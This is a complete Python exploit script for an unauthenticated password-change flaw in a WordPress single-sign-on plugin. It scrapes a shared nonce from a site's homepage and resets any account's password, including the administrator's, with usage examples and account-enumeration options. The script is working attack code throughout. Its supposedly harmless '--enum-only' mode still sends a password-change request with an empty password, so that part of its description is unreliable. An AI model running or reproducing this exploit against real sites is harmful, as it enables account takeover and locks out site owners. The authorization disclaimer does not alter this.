#!/usr/bin/env python3
# DISCLAIMER: This exploit is provided for authorized security testing and
# research only. Use it only against systems you own or have written permission
# to test. See README.md and upstream-README.md before running anything.
#
# CVE-2026-15964 - Single Sign On For TNG <= 2.0.0
# Unauthenticated password change for any WordPress account (CVSS 9.8 / CWE-620).
#
# The plugin registers ssoprocess_ajax() on wp_ajax_nopriv_ssoprocess_ajax
# (line 69 of single-sign-on-for-tng.php), so the handler is reachable without
# any session. The only gate is check_ajax_referer() against a nonce the plugin
# prints on every front-end page inside the SSOPWDREQUIREMENT JavaScript object.
# For logged-out visitors WordPress computes nonces with uid=0 and an empty
# session token, which makes the value identical for every anonymous visitor.
# Scrape it from the homepage, send it back with operation=setnewpassword and a
# victim email, and reset_password() does the rest - no token, no confirmation
# link, no capability check. There is also no server-side password strength
# validation on this path, so any password is accepted.
#
#   POST /wp-admin/admin-ajax.php
#   action=ssoprocess_ajax&nonce=<scraped>&operation=setnewpassword&email=<victim>&password=<new>
#
# The set_tzoffset operation is a bonus: it writes an arbitrary option value
# (update_option) without authentication.
#
# Fixed in 2.1.0 (2026-07-27): the handler now requires a `timeout` field that
# only a genuine recovery flow can produce, and the recovery form validates a
# per-user nonce stored in user meta. See README.md for the exact diff.
#
# Tested against a local WordPress 6.6.1 lab install with the plugin at 2.0.0.
# For authorized security testing and research only. Do not run this against
# systems you do not own or have written permission to test.
#
# Usage examples:
#   # one-shot: scrape the nonce and change the admin password
#   python3 CVE-2026-15964.py -u https://target -e admin@victim.tld -p 'NewPass!2026x'
#
#   # only scrape the nonce (the admin-ajax URL is printed too)
#   python3 CVE-2026-15964.py -u https://target --scrape-only
#
#   # reuse a nonce you already have (e.g. cached, or pulled by the checker)
#   python3 CVE-2026-15964.py -u https://target -e admin@victim.tld -p 'NewPass!2026x' -n abc123def4
#
#   # account existence oracle - {"success":true} means the email is registered
#   python3 CVE-2026-15964.py -u https://target -e admin@victim.tld -n abc123def4 --enum-only
#
#   # fully passive detection (GET only, nothing is changed)
#   python3 CVE-2026-15964.py -u https://target --check

import argparse
import re
import sys

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

UA = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
      "(KHTML, like Gecko) Chrome/126.0 Safari/537.36")

# The localized script object the plugin injects on every front-end page.
NONCE_OBJ_RE = re.compile(r"SSOPWDREQUIREMENT\s*=\s*(\{.*?\})\s*;", re.S)
NONCE_VAL_RE = re.compile(r"['\"]nonce['\"]\s*:\s*['\"]([0-9a-f]{10})['\"]")
AJAX_URL_RE = re.compile(r"['\"]url['\"]\s*:\s*['\"]([^'\"]*admin-ajax\.php[^'\"]*)['\"]", re.I)


def scrape_nonce(base_url, timeout=15):
    """GET the front page and pull the nonce + admin-ajax URL out of the HTML."""
    headers = {"User-Agent": UA, "Accept": "text/html,application/xhtml+xml,*/*"}
    r = requests.get(base_url.rstrip("/") + "/", headers=headers,
                     verify=False, timeout=timeout, allow_redirects=True)
    body = r.text

    nonce = None
    ajax_url = None
    m = NONCE_OBJ_RE.search(body)
    if m:
        nm = NONCE_VAL_RE.search(m.group(1))
        if nm:
            nonce = nm.group(1)
        um = AJAX_URL_RE.search(m.group(1))
        if um:
            ajax_url = um.group(1)

    if not nonce:
        # The plugin does not always print the object on pages that are cached
        # or behind aggressive CDNs. Fall back to the asset path - if the plugin
        # is installed the assets are still referenced.
        if "single-sign-on-for-tng" in body:
            sys.exit("[!] Plugin assets found but no nonce in HTML (cached/CDN). "
                     "Try again, or run with --check to confirm the install.")
        sys.exit("[!] Plugin not detected - no SSOPWDREQUIREMENT object and no "
                 "single-sign-on-for-tng asset path in the response. Is the "
                 "plugin active on this site?")

    return nonce, ajax_url or (base_url.rstrip("/") + "/wp-admin/admin-ajax.php")


def change_password(base_url, email, password, nonce, timeout=15, enum_only=False):
    headers = {
        "User-Agent": UA,
        "X-Requested-With": "XMLHttpRequest",
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": base_url.rstrip("/") + "/",
    }
    data = {
        "action": "ssoprocess_ajax",
        "nonce": nonce,
        "operation": "setnewpassword",
        "email": email,
        "password": password,
    }
    r = requests.post(base_url.rstrip("/") + "/wp-admin/admin-ajax.php",
                      headers=headers, data=data, verify=False, timeout=timeout)
    try:
        j = r.json()
    except ValueError:
        sys.exit(f"[!] Non-JSON response (HTTP {r.status_code}): {r.text[:200]}")

    if j.get("success"):
        if enum_only:
            return {"account_exists": True, "raw": j}
        return {"password_changed": True, "user": email, "new_password": password, "raw": j}
    return {"account_exists": False, "raw": j}


def passive_check(base_url, timeout=15):
    """GET-only detection: is the plugin present? Does the handler exist?"""
    try:
        nonce, ajax_url = scrape_nonce(base_url, timeout)
    except SystemExit as e:
        return {"plugin_present": False, "detail": str(e)}
    return {
        "plugin_present": True,
        "nonce": nonce,
        "ajax_url": ajax_url,
        "note": "Plugin is installed and active. To confirm the vulnerable path "
                "without changing anything, run with --enum-only and a "
                "non-existent email (a 2.0.0 install answers success:false "
                "with no error message).",
    }


def main():
    ap = argparse.ArgumentParser(
        description="CVE-2026-15964 PoC - SSO For TNG <= 2.0.0 unauthenticated "
                    "password change (authorized testing only)")
    ap.add_argument("-u", "--url", required=True, help="WordPress base URL, e.g. https://target")
    ap.add_argument("-e", "--email", help="target account email, e.g. admin@victim.tld")
    ap.add_argument("-p", "--password", help="new password to set (any value works)")
    ap.add_argument("-n", "--nonce", help="nonce to use instead of scraping one")
    ap.add_argument("--scrape-only", action="store_true",
                    help="scrape and print the nonce + admin-ajax URL, do nothing else")
    ap.add_argument("--enum-only", action="store_true",
                    help="only test whether the email maps to an existing account")
    ap.add_argument("--check", action="store_true",
                    help="passive detection only - no POST requests, nothing is changed")
    ap.add_argument("--timeout", type=int, default=15)
    args = ap.parse_args()

    if args.check:
        res = passive_check(args.url, args.timeout)
        if not res["plugin_present"]:
            print(f"[-] Plugin not detected on {args.url} - {res['detail']}")
            return 1
        print(f"[+] Plugin detected on {args.url}")
        print(f"    nonce    : {res['nonce']}")
        print(f"    ajax url : {res['ajax_url']}")
        print(f"    {res['note']}")
        return 0

    nonce = args.nonce
    if not nonce:
        nonce, ajax_url = scrape_nonce(args.url, args.timeout)
        print(f"[+] scraped nonce : {nonce}")
        print(f"[+] admin-ajax    : {ajax_url}")
        if args.scrape_only:
            return 0
    else:
        print(f"[*] using provided nonce: {nonce}")

    if not args.email:
        ap.error("--email is required (or use --scrape-only / --check)")

    if not args.enum_only and not args.password:
        ap.error("--password is required (or use --enum-only to test account existence)")

    if args.enum_only:
        res = change_password(args.url, args.email, args.password or "",
                              nonce, args.timeout, enum_only=True)
        if res["account_exists"]:
            print(f"[+] ACCOUNT EXISTS: {args.email}  (response: {res['raw']})")
            print("    On a 2.0.0 install this is the vulnerable handler responding. "
                  "See --enum-only in README.md.")
        else:
            print(f"[-] no such account or handler rejected the request: {res['raw']}")
        return 0

    res = change_password(args.url, args.email, args.password, nonce, args.timeout)
    if res["password_changed"]:
        print()
        print("[+] SUCCESS - password changed.")
        print(f"    user     : {args.email}")
        print(f"    password : {args.password}")
        print(f"    response : {res['raw']}")
        print()
        print("[*] Next: log in at /wp-login.php with these credentials.")
        print("    The victim is logged out of all sessions by reset_password().")
        return 0

    print(f"[-] failed - email not registered, nonce stale, WAF blocked it, "
          f"or the site is patched: {res['raw']}")
    return 1


if __name__ == "__main__":
    sys.exit(main())
